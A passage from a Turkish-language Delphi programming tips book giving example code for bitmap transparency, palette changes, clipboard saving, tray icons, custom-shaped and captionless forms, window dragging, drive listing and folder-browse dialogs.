Image2: TImage; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } procedure DrawTransparent(t: TCanvas; x,y: Integer; s: TBitmap; TrCol: TColor); end; var Form1: TForm1; bmp:tbitmap; clr:tcolor; implementation {$R *.DFM} procedure tform1.DrawTransparent(t: TCanvas; x,y: Integer; s: TBitmap; TrCol: TColor); var bmpXOR, bmpAND, bmpINVAND, bmpTarget: TBitmap; oldcol: Longint; begin try bmpAND := TBitmap.Create; bmpAND.Width := s.Width; bmpAND.Height := s.Height; bmpAND.Monochrome := True; oldcol := SetBkColor(s.Canvas.Handle, ColorToRGB(TrCol)); BitBlt(bmpAND.Canvas.Handle, 0,0,s.Width,s.Height, s.Canvas.Handle, 0,0, SRCCOPY); SetBkColor(s.Canvas.Handle, oldcol); bmpINVAND := TBitmap.Create; bmpINVAND.Width := s.Width; bmpINVAND.Height := s.Height; bmpINVAND.Monochrome := True; BitBlt(bmpINVAND.Canvas.Handle, 0,0,s.Width,s.Height, bmpAND.Canvas.Handle, 0,0, NOTSRCCOPY); bmpXOR := TBitmap.Create; bmpXOR.Width := s.Width; bmpXOR.Height := s.Height; BitBlt(bmpXOR.Canvas.Handle, 0,0,s.Width,s.Height, s.Canvas.Handle, 0,0, SRCCOPY); BitBlt(bmpXOR.Canvas.Handle, 0,0,s.Width,s.Height, bmpINVAND.Canvas.Handle, 0,0, SRCAND); bmpTarget := TBitmap.Create; bmpTarget.Width := s.Width; bmpTarget.Height := s.Height; BitBlt(bmpTarget.Canvas.Handle, 0,0,s.Width,s.Height, t.Handle, x,y, SRCCOPY); BitBlt(bmpTarget.Canvas.Handle, 0,0,s.Width,s.Height, bmpAND.Canvas.Handle, 0,0, SRCAND); BitBlt(bmpTarget.Canvas.Handle, 0,0,s.Width,s.Height,
1514
bmpXOR.Canvas.Handle, 0,0, SRCINVERT); BitBlt(t.Handle, x,y,s.Width,s.Height, bmpTarget.Canvas.Handle, 0,0, SRCCOPY); finally bmpXOR.Free; bmpAND.Free; bmpINVAND.Free; bmpTarget.Free; end;{End of TRY section} end; procedure TForm1.Button1Click(Sender: TObject); begin DrawTransparent(image1.Canvas, 1,1, bmp, clr); image1.Invalidate; image1.repaint; end; procedure TForm1.FormCreate(Sender: TObject); begin bmp:=tbitmap.create; bmp.width:=image1.width; bmp.height:=image1.height; bmp.assign(image2.picture); // clr:=tcolor.create;; clr:=clgreen; panel1.color:=clr; end; procedure TForm1.FormDestroy(Sender: TObject); begin bmp.free; end; procedure TForm1.Button2Click(Sender: TObject); begin if colordialog1.execute then clr:=colordialog1.Color; panel1.color:=clr; end; end. Unit1.dfm object Form1: TForm1 Left = 200 Top = 108 Width = 617 Height = 302 Caption = 'Form1' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] OnCreate = FormCreate OnDestroy = FormDestroy PixelsPerInch = 96 TextHeight = 13 object Image1: TImage Left = 264 Top = 8
1515
Width = 329 Height = 201 Stretch = True end object Image2: TImage Left = 8 Top = 8 Width = 249 Height = 201 Stretch = True end object Button1: TButton Left = 144 Top = 224 Width = 75 Height = 25 Caption = 'Button1' TabOrder = 0 OnClick = Button1Click end object Panel1: TPanel Left = 304 Top = 216 Width = 113 Height = 41 Caption = 'Panel1' TabOrder = 1 object Button2: TButton Left = 22 Top = 8 Width = 75 Height = 25 Caption = 'Button2' TabOrder = 0 OnClick = Button2Click end end object ColorDialog1: TColorDialog Ctl3D = True Left = 112 Top = 352 end end
PALET DEĞİŞTİRME Palet.pas unit palet; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ComCtrls, ExtDlgs; type TForm1 = class(TForm) Button1: TButton; OpenPictureDialog1: TOpenPictureDialog;
1516
SavePictureDialog1: TSavePictureDialog; Button2: TButton; Button3: TButton; procedure FormCreate(Sender: TObject); procedure FormPaint(Sender: TObject); procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button3Click(Sender: TObject); private { Private declarations } public { Public declarations } procedure ScrambleBitmap; end; var Form1: TForm1; bitmap:tbitmap; pal: PLogPalette; implementation {$R *.DFM} procedure Tform1.ScrambleBitmap; var hpal: HPALETTE; i: Integer; begin {$R-} pal := nil; try GetMem(pal, sizeof(TLogPalette) + sizeof(TPaletteEntry) * 255); pal.palVersion := $300; pal.palNumEntries := 256; for i := 0 to 255 do begin pal.palPalEntry[i].peRed := Random(255); pal.palPalEntry[i].peGreen :=Random(255); pal.palPalEntry[i].peBlue := Random(255); end; hpal := CreatePalette(pal^); if hpal <> 0 then Bitmap.Palette := hpal; finally FreeMem(pal); end; {$R+} end; procedure TForm1.FormCreate(Sender: TObject); begin bitmap:=tbitmap.create; bitmap.loadfromfile('c:\program files\borland\delphi 3\images\splash\256color\finance.bmp'); end; procedure TForm1.FormPaint(Sender: TObject); var
1517
x, y: Integer; begin y := 0; while y < Height do begin x := 0; while x < Width do begin Canvas.Draw(x, y, Bitmap); x := x + Bitmap.Width; end; y := y + Bitmap.Height; end; end; procedure TForm1.Button1Click(Sender: TObject); begin ScrambleBitmap; Invalidate; end; procedure TForm1.Button2Click(Sender: TObject); begin if openpicturedialog1.execute then bitmap.loadfromfile(openpicturedialog1.filename); end; procedure TForm1.Button3Click(Sender: TObject); begin if savepicturedialog1.execute then begin bitmap.loadfromfile(savepicturedialog1.filename); FormPaint(sender); invalidate; end; end; end. Palet.dfm object Form1: TForm1 Left = 200 Top = 108 Width = 696 Height = 480 Caption = 'Form1' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] OnCreate = FormCreate OnPaint = FormPaint PixelsPerInch = 96 TextHeight = 13 object Button1: TButton Left = 208 Top = 416 Width = 75 Height = 25 Caption = 'Palet değiştir' TabOrder = 0
1518
OnClick = Button1Click end object Button2: TButton Left = 24 Top = 416 Width = 75 Height = 25 Caption = 'Resim Aç' TabOrder = 1 OnClick = Button2Click end object Button3: TButton Left = 112 Top = 416 Width = 81 Height = 25 Caption = 'Resim Kaydet' TabOrder = 2 OnClick = Button3Click end object OpenPictureDialog1: TOpenPictureDialog Filter = 'All (*.bmp;*.ico;*.emf;*.wmf)|*.bmp;*.ico;*.emf;*.wmf|Bitmaps (*' + '.bmp)|*.bmp|Icons (*.ico)|*.ico|Enhanced Metafiles (*.emf)|*.emf' + '|Metafiles (*.wmf)|*.wmf' Left = 592 Top = 392 end object SavePictureDialog1: TSavePictureDialog Filter = 'All (*.bmp;*.ico;*.emf;*.wmf)|*.bmp;*.ico;*.emf;*.wmf|Bitmaps (*' + '.bmp)|*.bmp|Icons (*.ico)|*.ico|Enhanced Metafiles (*.emf)|*.emf' + '|Metafiles (*.wmf)|*.wmf' Left = 512 Top = 392 end end
PANODAKİ METNİN DİSKTEKİ BİR DOSYAYA KAYDEDİLMESİ unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Clipbrd, StdCtrls ; type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject);
1519
private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} function SaveClipboardTextDataToFile( sFileTo : string ) : boolean; var ps1, ps2 : PChar; dwLen : DWord; tf : TextFile; hData : THandle; begin Result := False; with Clipboard do begin try Open; if( HasFormat( CF_TEXT ) ) then begin hData := GetClipboardData( CF_TEXT ); ps1 := GlobalLock( hData ); dwLen := GlobalSize( hData ); ps2 := StrAlloc( 1 + dwLen ); StrLCopy( ps2, ps1, dwLen ); GlobalUnlock( hData ); AssignFile( tf, sFileTo ); ReWrite( tf ); Write( tf, ps2 ); CloseFile( tf ); StrDispose( ps2 ); Result := True; end; finally Close; end; end; end; procedure TForm1.Button1Click(Sender: TObject); begin SaveClipboardTextDataToFile('c:\sil\clip.asc'); end;
1520
end.
FORM VE PENCERE İŞLEMLERİ Bu bölümde, Delphi uygulamaları içerisinde gerekebilecek form ve pencere işlemleri ile ilgili Püf noktaları ve kod örnekleri yer almaktadır.
Masa üstündeki ikonların saklanması Aşağıdaki program çalıştırıldığında, görev çubuğu üzerindeki uyarı bölümünde bir ikon olarak görünür. Bu ikon üzerinde tıklandığında desktop üzerindeki ikonlar saklanır, bir kez daha basıldığında ise geri gelir. program DeskPop; uses Windows, Messages, ShellAPI, sysutils; {$R *.RES} const AppName = 'DeskTop Sakla'; var x: integer; tid: TNotifyIconData; WndClass: array[0..50] of char; procedure Panic (szMessage: PChar); begin if szMessage <> Nil then MessageBox (0, szMessage, AppName, mb_ok); Halt (0); end; procedure HandleCommand (Wnd: hWnd; Cmd: Word); begin case Cmd of Ord ('A'): MessageBox (0, 'Merhaba', AppName, mb_ok); Ord ('E'): PostMessage (Wnd, wm_Close, 0, 0); end; end; function DummyWindowProc (Wnd: hWnd; Msg, wParam: Word; lParam: LongInt): LongInt; stdcall; var TrayHandle: THandle; dc: hDC; i: Integer; pm: HMenu; pt: TPoint; begin DummyWindowProc := 0; StrPCopy(@WndClass[0], 'Progman'); TrayHandle := FindWindow(@WndClass[0], nil); case Msg of wm_Create: begin tid.cbSize := sizeof (tid); tid.Wnd := Wnd; tid.uID := 1; tid.uFlags := nif_Message or nif_Icon or nif_Tip;
1521
tid.uCallBackMessage := wm_User; tid.hIcon := LoadIcon (hInstance, 'MAINICON'); lstrcpy (tid.szTip,'Desktop is on'); Shell_NotifyIcon (nim_Add, @tid); end; wm_Destroy: begin Shell_NotifyIcon (nim_Delete, @tid); PostQuitMessage (0); ShowWindow(TrayHandle, SW_RESTORE); end; wm_Command: begin HandleCommand (Wnd, LoWord (wParam)); Exit; end; wm_User: // Had a tray notification - see what to do if (lParam = wm_LButtonDown) then begin if x = 0 then begin ShowWindow(TrayHandle, SW_HIDE); //tid.hIcon := LoadIcon (hInstance, 'offICON'); lstrcpy (tid.szTip,'Desktop Kapalı'); Shell_NotifyIcon (NIM_MODIFY, @tid); x:=1 end else begin ShowWindow(TrayHandle, SW_RESTORE); //tid.hIcon := LoadIcon (hInstance, 'ONICON'); lstrcpy (tid.szTip,'Desktop Açık'); Shell_NotifyIcon (NIM_MODIFY, @tid); x:= 0; end; end else if (lParam = wm_RButtonDown) then begin GetCursorPos (pt); pm := CreatePopupMenu; AppendMenu (pm, 0, Ord ('A'), 'Hakkında...'); AppendMenu (pm, mf_Separator, 0, Nil); AppendMenu (pm, 0, Ord ('E'), 'Kapat'); SetForegroundWindow (Wnd); dc := GetDC (0); if TrackPopupMenu (pm, tpm_BottomAlign or tpm_RightAlign, pt.x,GetDeviceCaps(dc,HORZRES){pt.y}, 0, Wnd, Nil) then SetForegroundWindow (Wnd); DestroyMenu (pm) end; end; DummyWindowProc := DefWindowProc (Wnd, Msg, wParam, lParam); end; procedure WinMain; var Wnd: hWnd; Msg: TMsg; cls: TWndClass; begin { Previous instance running ? If so, exit }
1522
if FindWindow (AppName, Nil) <> 0 then exit; //Panic (AppName + ' is already running.'); { window Sınıfını kaydettir } FillChar (cls, sizeof (cls), 0); cls.lpfnWndProc := @DummyWindowProc; cls.hInstance := hInstance; cls.lpszClassName := AppName; RegisterClass (cls); { Boş pencereyi yarat } Wnd := CreateWindow (AppName, AppName, ws_OverlappedWindow, cw_UseDefault, cw_UseDefault, cw_UseDefault, cw_UseDefault, 0, 0, hInstance, Nil); x:= 0; if Wnd <> 0 then begin ShowWindow (Wnd, sw_Hide); while GetMessage (Msg, 0, 0, 0) do begin TranslateMessage (Msg); DispatchMessage (Msg); end; end; end; begin WinMain; end.
BÜTÜN AÇIK PENCERELERİN LİSTELENMESİ Sistemde açık olan bütün pencerelerin listelenmesi için, EnumWindows fonksiyonu kullanılır. function EnumWindowsProc(Wnd : HWnd;Form : TForm1) : Boolean; Export; {$ifdef Win32} StdCall; {$endif} var Buffer : Array[0..99] of char; begin GetWindowText(Wnd,Buffer,100); if StrLen(Buffer) <> 0 then Form.ListBox1.Items.Add(StrPas(Buffer)); Result := True; end; procedure TForm1.Button1Click(Sender: TObject); begin EnumWindows(@EnumWindowsProc,LongInt(Self)); end;
FARKLI BİR PENCERE Standart Windows pencereleri, dikdörtgen veya kare şeklindedir. Değişik şekilli bir pencere yaratmak için; var hR : THandle; begin hR := CreateEllipticRgn(0,0,100,200); SetWindowRgn(Handle,hR,True);
1523
end; Farklı pencereye bir başka örnek; unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, Buttons; type TForm1 = class(TForm) SpeedButton1: TSpeedButton; Image1: TImage; procedure FormCreate(Sender: TObject); procedure SpeedButton1Click(Sender: TObject); private { Private declarations } procedure CreateParams(var Params: TCreateParams); override; public { Public declarations } end; var Form1: TForm1; implementation procedure TForm1.CreateParams(var Params: TCreateParams); begin inherited createparams(params); params.style:=params.style or ws_popup xor ws_dlgframe; end; {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); var formrgn:hrgn; begin form1.brush.style:=bsclear; GetWindowRgn(form1.Handle, formRgn); DeleteObject(formRgn); formrgn:= CreateroundRectRgn(0, 0,form1.width,form1.height,form1.width,form1.height); SetWindowRgn(form1.Handle, formrgn, TRUE); end; procedure TForm1.SpeedButton1Click(Sender: TObject); begin form1.close; end; end.
ÜZERİNE BIRAKILAN DOSYALARA DUYARLI FORM unit dragfile; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; type TForm2 = class(TForm) procedure FormCreate(Sender: TObject);
1524
private { Private declarations } public { Public declarations } procedure AcceptFiles( var msg : TMessage ); message WM_DROPFILES; end; var Form2: TForm2; implementation uses ShellAPI; {$R *.DFM} procedure TForm2.AcceptFiles( var msg : TMessage ); const cnMaxFileNameLen = 255; var i, nCount : integer; acFileName : array [0..cnMaxFileNameLen] of char; begin nCount := DragQueryFile( msg.WParam, $FFFFFFFF, acFileName, cnMaxFileNameLen ); for i := 0 to nCount-1 do begin DragQueryFile( msg.WParam, i, acFileName, cnMaxFileNameLen ); MessageBox( Handle, acFileName, '', MB_OK ); end; DragFinish( msg.WParam ); end; procedure TForm2.FormCreate(Sender: TObject); begin DragAcceptFiles( Handle, True ); end; end.
FORM BAŞLIĞININ SAKLANMASI procedure TForm1.Createparams(var Params: TCreateParams); begin inherited CreateParams(Params); with Params do Style := (Style or WS_POPUP) and (not WS_DLGFRAME); end;
STANDART DIŞI FORMLAR 1525
Windows'un standart formlarından sıkılanlar için, farklı bir form. unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls; type TForm1 = class(TForm) Button1: TButton; Panel1: TPanel; Panel2: TPanel; Panel3: TPanel; Panel4: TPanel; Panel5: TPanel; procedure FormResize(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormResize(Sender: TObject); var WindowRgn, HoleRgn : HRgn; begin WindowRgn := 0; GetWindowRgn(Handle, WindowRgn); DeleteObject(WindowRgn); WindowRgn := CreateRectRgn(0,0,Width,Height); HoleRgn := CreateRectRgn(Panel3.Width + 6, Panel1.Height + 25, Width - (Panel4.Width + 6), Height - (Panel2.Height + 6)); CombineRgn(WindowRgn, WindowRgn, HoleRgn, RGN_DIFF); SetWindowRgn(Handle, WindowRgn, TRUE); DeleteObject(HoleRgn); end; end. object Form1: TForm1 Left = 216 Top = 178 AutoScroll = False Caption = 'Form1' ClientHeight = 453 ClientWidth = 688
1526
Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] OnResize = FormResize PixelsPerInch = 96 TextHeight = 13 object Button1: TButton Left = 512 Top = 352 Width = 75 Height = 25 Caption = 'Button1' TabOrder = 0 end object Panel1: TPanel Left = 0 Top = 0 Width = 688 Height = 5 Align = alTop BevelOuter = bvNone Color = clRed TabOrder = 1 end object Panel2: TPanel Left = 0 Top = 443 Width = 688 Height = 10 Align = alBottom BevelOuter = bvNone Color = clRed TabOrder = 2 end object Panel3: TPanel Left = 0 Top = 5 Width = 10 Height = 438 Align = alLeft BevelOuter = bvNone Color = clRed TabOrder = 3 end object Panel4: TPanel Left = 678 Top = 5 Width = 10 Height = 438 Align = alRight BevelOuter = bvNone Color = clRed TabOrder = 4 end object Panel5: TPanel Left = 10 Top = 5 Width = 668 Height = 438 Align = alClient
1527
BevelOuter = bvLowered Caption = 'Panel5' TabOrder = 5 end end
FORM POZİSYONU Unit1.pas unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) private { Private declarations } public { Public declarations } Procedure WMMove(Var Message : TWMMove); message WM_Move; end; var Form1: TForm1; implementation {$R *.DFM} Procedure TForm1.WMMove(Var Message : TWMMove); begin Caption := 'X = '+IntToStr(Message.XPos)+', Y = '+IntTOStr(Message. YPos); end; end.
EKRAN ÇÖZÜNÜRLÜĞÜ Tasarım ortamın gayet düzgün görünen bir formun başka bir bilgisayarda bozuk görünmesi oldukça can sıkıcıdır. Bu olayın sebebi faklı ekran çözünürlükleri ve yazı tipi ayarıdır. Bunu önlemek için uygulama içerisinde bazı kontroller yapmak gerekir.Aşağıdaki kod örneğinde form ve üzerindeki kontrollerin sistemdeki ayarlara göre yeniden ölçeklenmesi gösterilmektedir. implementation const {formlarımızın 800x600 ölçülerinde olmasını istiyorsak…} ScreenWidth: LongInt = 800; ScreenHeight: LongInt = 600; {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin scaled := true; if (screen.width <> ScreenWidth) then begin height:=longint(height)*longint(screen.height)DIV
1528
ScreenHeight; width := longint(width) * longint(screen.width) DIV ScreenWidth; scaleBy(screen.width, ScreenWidth); end; end; Bu işlemden sonra kontrollerdeki yazı tiplerinin de ölçeklenmesi gerekecektir. Bu işlem bir döngü içerisinde kolaylıkla yapılır. Fakat bu esnada ilgili bileşenin FONT özelliği bulunduğundan emin olunmalıdır. Bu kontrol için RTTI (Run Time Type Information) kullanılabilir. USES typinfo; var i: integer; begin for i := componentCount - 1 downto 0 do with components[i] do begin if GetPropInfo(ClassInfo, 'font') <> nil then font.size := (NewFormWidth DIV OldFormWidth) * font.size; end; end;
FORM BAŞLIK ALANI ÜZERİNDE SAAT GÖSTERİLMESİ Formun Caption özelliğine dokunmadan, başlık alanı üzerinde saat bilgisi gösterimi şu şekilde olur. unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls; type TForm1 = class(TForm) Timer1: TTimer; procedure FormCreate(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure Timer1Timer(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; dc:hdc; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin dc:=getwindowdc(handle); end;
1529
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin releasedc(handle,dc); end; procedure TForm1.Timer1Timer(Sender: TObject); var thetime: array[0..80] of char; begin strpcopy(Thetime,timetostr(time)); canvas.font.color:=clred; textout(dc,width div 2,5,thetime,strlen(thetime)); end; end.
FORM BAŞLIĞININ GİZLENMESİ Form başlıkları, çalışma esnasında gizlenip tekrar gösterilebilir. unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; Button2: TButton; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } procedure sakla; procedure goster; end; var Form1: TForm1; implementation {$R *.DFM} procedure tform1.sakla; var save:longint; begin if borderstyle=bsnone then exit; save:=getwindowlong(handle,gwl_style); if (save and ws_caption)=ws_caption then begin case borderstyle of
1530
bssingle,bssizeable: setwindowlong(handle,gwl_style,save and (not(ws_caption)) or ws_border); bsdialog:setwindowlong(handle,gwl_style,save and (not(ws_caption)) or ds_modalframe or ws_dlgframe); end; height:=height-getsystemmetrics(sm_cycaption); refresh; end; end; procedure tform1.goster; var save:longint; begin if borderstyle=bsnone then exit; save:=getwindowlong(handle,gwl_style); if (save and ws_caption)<>ws_caption then begin case borderstyle of bssingle, bssizeable: setwindowlong(handle,gwl_style,save or ws_caption or ws_border); bsdialog:setwindowlong(handle,gwl_style,save or ws_caption or ds_modalframe or ws_dlgframe); end; height:=height+getsystemmetrics(sm_cycaption); refresh; end; end; procedure TForm1.Button1Click(Sender: TObject); begin sakla end; procedure TForm1.Button2Click(Sender: TObject); begin goster end; end.
FORMUN BAŞLIK ALANINA BUTON YERLEŞTİRME Kullandığınız formların başlık alanına buton ekleyip, bu butona bazı görevler yükleyebilirsiniz. unit CapBtn; interface uses Windows, Buttons, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; type TForm1 = class(TForm) procedure FormResize(Sender: TObject); private CaptionBtn : TRect; procedure DrawCaptButton;
1531
procedure WMNCPaint(var Msg : TWMNCPaint); message WM_NCPaint; procedure WMNCActivate(var Msg : TWMNCActivate); message WM_NCACTIVATE; procedure WMSetText(var Msg : TWMSetText); message WM_SETTEXT; procedure WMNCHitTest(var Msg : TWMNCHitTest); message WM_NCHITTEST; procedure WMNCLButtonDown(var Msg : TWMNCLButtonDown); message WM_NCLBUTTONDOWN; public { Public declarations } end; var Form1: TForm1; implementation const htCaptionBtn = htSizeLast + 1; {$R *.DFM} procedure TForm1.DrawCaptButton; var xFrame, yFrame, xSize, ySize : Integer; R : TRect; begin //Form eni ve boyu xFrame := GetSystemMetrics(SM_CXFRAME); yFrame := GetSystemMetrics(SM_CYFRAME); //Başlık butonlarının eni ve boyu xSize := GetSystemMetrics(SM_CXSIZE); ySize := GetSystemMetrics(SM_CYSIZE); //Yeni butonun yeri CaptionBtn := Bounds(Width - xFrame - 4*xSize + 2, yFrame + 2, xSize - 2, ySize - 4); //Forma ait DC 'yi kullanarak, //üzerine çizim yapılacak tuvali bul Canvas.Handle := GetWindowDC(Self.Handle); Canvas.Font.Name := 'Symbol'; Canvas.Font.Color := clBlue; Canvas.Font.Style := [fsBold]; Canvas.Pen.Color := clYellow; Canvas.Brush.Color := clBtnFace; try DrawButtonFace(Canvas, CaptionBtn, 1, bsAutoDetect, False, False, False); R := Bounds(Width - xFrame - 4 * xSize + 2, yFrame + 3, xSize - 6, ySize - 7); with CaptionBtn do Canvas.TextRect(R, R.Left + 2, R.Top - 1, 'W'); finally ReleaseDC(Self.Handle, Canvas.Handle);
1532
Canvas.Handle := 0; end; end; procedure TForm1.WMNCPaint(var Msg : TWMNCPaint); begin inherited; DrawCaptButton; end; procedure TForm1.WMNCActivate(var Msg : TWMNCActivate); begin inherited; DrawCaptButton; end; procedure TForm1.WMSetText(var Msg : TWMSetText); begin inherited; DrawCaptButton; end; procedure TForm1.WMNCHitTest(var Msg : TWMNCHitTest); begin inherited; with Msg do if PtInRect(CaptionBtn, Point(XPos - Left, YPos - Top)) then Result := htCaptionBtn; end; procedure TForm1.WMNCLButtonDown(var Msg : TWMNCLButtonDown); begin inherited; if (Msg.HitTest = htCaptionBtn) then ShowMessage('Hoops... yeni butona bastın'); end; procedure TForm1.FormResize(Sender: TObject); begin //Başlık çubuğunun yeniden çizilmesini sağla Perform(WM_NCACTIVATE, Word(Active), 0); end; end.
AÇILIR-KAPANIR FORM İşyeri kepengine benzer bir şekilde açılıp kapanabilen bir form yaratmak için kullanılabilecek kod örneği aşağıdadır. Açılma ve kapanma komutu, bu örnekte başlık alanı üzerinde sağ fare tuşuna basılarak verilmektedir. unit KepengForm; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls, Printers, Buttons, ShellAPI;
1533
type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); private { Private declarations } FOldHeight : Integer; procedure WMNCRButtonDown(var Msg : TWMNCRButtonDown); message WM_NCRBUTTONDOWN; public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin FOldHeight := ClientHeight; end; procedure TForm1.WMNCRButtonDown(var Msg : TWMNCRButtonDown); var I : Integer; begin if (Msg.HitTest = HTCAPTION) then if (ClientHeight = 0) then begin I := 0; while (I < FOldHeight) do begin I := I + 40; if (I > FOldHeight) then I := FOldHeight; ClientHeight := I; Application.ProcessMessages; end; end else begin FOldHeight := ClientHeight; I := ClientHeight; //kapanma efekti için, I değerini doğrudan "0" a eşitlemek //yerine kademeli olarak azaltabilirsiniz. I := 0; ClientHeight := I; Application.ProcessMessages; end; end; end.
PENCERENİN TAŞINMASI Windows pencereleri, ekran üzerinde başlıklarından tutularak taşınırlar. Pencere alanından tutularak da taşınabilmeleri için, WM_NCHITTEST mesajının yakalanıp, yordamının değiştirilmesi gerekir.
1534
type TForm1 = class(TForm) public procedure WMNCHitTest(var M: TWMNCHitTest); message WM_NCHitTest; end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.WMNCHitTest(var M: TWMNCHitTest); begin inherited; if M.Result = htClient then M.Result := htCaption; end; 5. Disk ve Dosya işlemleri Sürücü listesi procedure TForm1.Button2Click(Sender: TObject); var drives : dword; i : integer; begin drives := GetLogicalDrives; for i := 0 to 25 do //ingilizce alfabede 25 harf var if ( drives and ( 1 shl i )) > 0 then Listbox1.Items.Add( Chr( i + 65 )); end; veya procedure TForm1.Button1Click(Sender: TObject); var buffer : array[0..500] of char; temp : PChar; typ : integer; begin GetLogicalDriveStrings( sizeof( buffer ), buffer ); temp := buffer; while temp[0] <> #0 do begin typ := GetDriveType( temp ); with ListBox1.Items do case typ of DRIVE_REMOVABLE : Add( temp + ' removable' ); DRIVE_FIXED : Add( temp + ' Sabit Disk' ); DRIVE_REMOTE : Add( temp + ' Ağ üzerinde' ); DRIVE_CDROM : Add( temp + ' CD-ROM' ); DRIVE_RAMDISK : Add( temp + ' RAM-disk' ); else Add( temp + ' Bilinmiyor' ); end; temp := StrEnd( temp ) + 1; end; end;
DİSKET SÜRÜCÜSÜNDE DİSKET TAKILI MI ? {$I-} ChDir('a:\'); {$I+}
1535
if IOResult <> 0 then ShowMessage( 'A sürücüsünde Disket yok' ); Veya; function DiskInDrive(const Drive: char): Boolean; var DrvNum: byte; EMode: Word; begin result := false; DrvNum := ord(Drive); if DrvNum >= ord('a') then dec(DrvNum,$20); EMode := SetErrorMode(SEM_FAILCRITICALERRORS); try if DiskSize(DrvNum-$40) <> -1 then result := true else messagebeep(0); finally SetErrorMode(EMode); end; end;
ÇALIŞAN UYGULAMANIN BULUNDUĞU DİZİN procedure TForm1.Button1Click(Sender: TObject); var szFileName : array[0..99] of char; szModuleName : array[0..19] of char; iSize : integer; begin iSize := GetModuleFileName(GetModuleHandle(szModuleName),szFileName, SizeOf(szFileName)); if iSize > 0 then ShowMessage('Tam dizin : ' + StrPas(szFileName)) else ShowMessage('Bulunamadı'); end;
WİNDOWS'UN STANDART "BROWSEFOLDER" DİYALOG PENCERESİNİN KULLANILMASI unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,ShlObj,ActiveX; type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end;
1536
var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); var BI:TBrowseInfo; Buf:PChar; Dir,Root:PItemIDList; Alloc:IMalloc; begin SHGetMalloc(Alloc); Buf:=Alloc.Alloc(Max_Path); // Bu satır aranacak dizinleri sınırlar. SHGetSpecialFolderLocation(Handle,CSIDL_PROGRAMS,Root); with BI do begin hwndOwner:=Form1.Handle; pidlRoot:=Root; // Eğer Nil olursa, bütün dizinler // görüntülenir. pszDisplayName:=Buf; lpszTitle:=' İstediğiniz dizini seçiniz'; ulFlags:=0; lpfn:=nil; end; try Dir:=SHBrowseForFolder(BI); if Dir<>Nil then begin SHGetPathFromIDList(Dir,Buf); // İstenen dizinin tam adı ShowMessage(Buf); Alloc.Free(Dir); end; finally Alloc.Free(Root); Alloc.Free(Buf); end; end; end.
SEÇİLEBİLECEK, DİĞER ÖZEL KLASÖR TİPLERİ CSIDL_BITBUCKET Geri dönüşüm kutusu CSIDL_CONTROLS Kontrol panel klasörleri CSIDL_DESKTOP Masaüstü klasörleri CSIDL_DESKTOPDIRECTORY Masaüstü nesnelerini barındıran klasör CSIDL_DRIVES Bilgisayarım klasörü CSIDL_FONTS Font klasörü CSIDL_NETHOOD Ağ komşuluğu klasörü
1537
CSIDL_NETWORK Yukarıdakinin bir başka versiyonu CSIDL_PERSONAL Şahsi klasör CSIDL_PRINTERS Yazıcılar klasörü CSIDL_PROGRAMS Başlat menüsündeki programlar klasörü CSIDL_RECENT Son kullanılan dökümanlar klasörü CSIDL_SENDTO Gönder (SendTo) klasörü CSIDL_STARTMENU Başlat menüsünün tümü CSIDL_STARTUP Otomatik başlat klasörü CSIDL_TEMPLATES
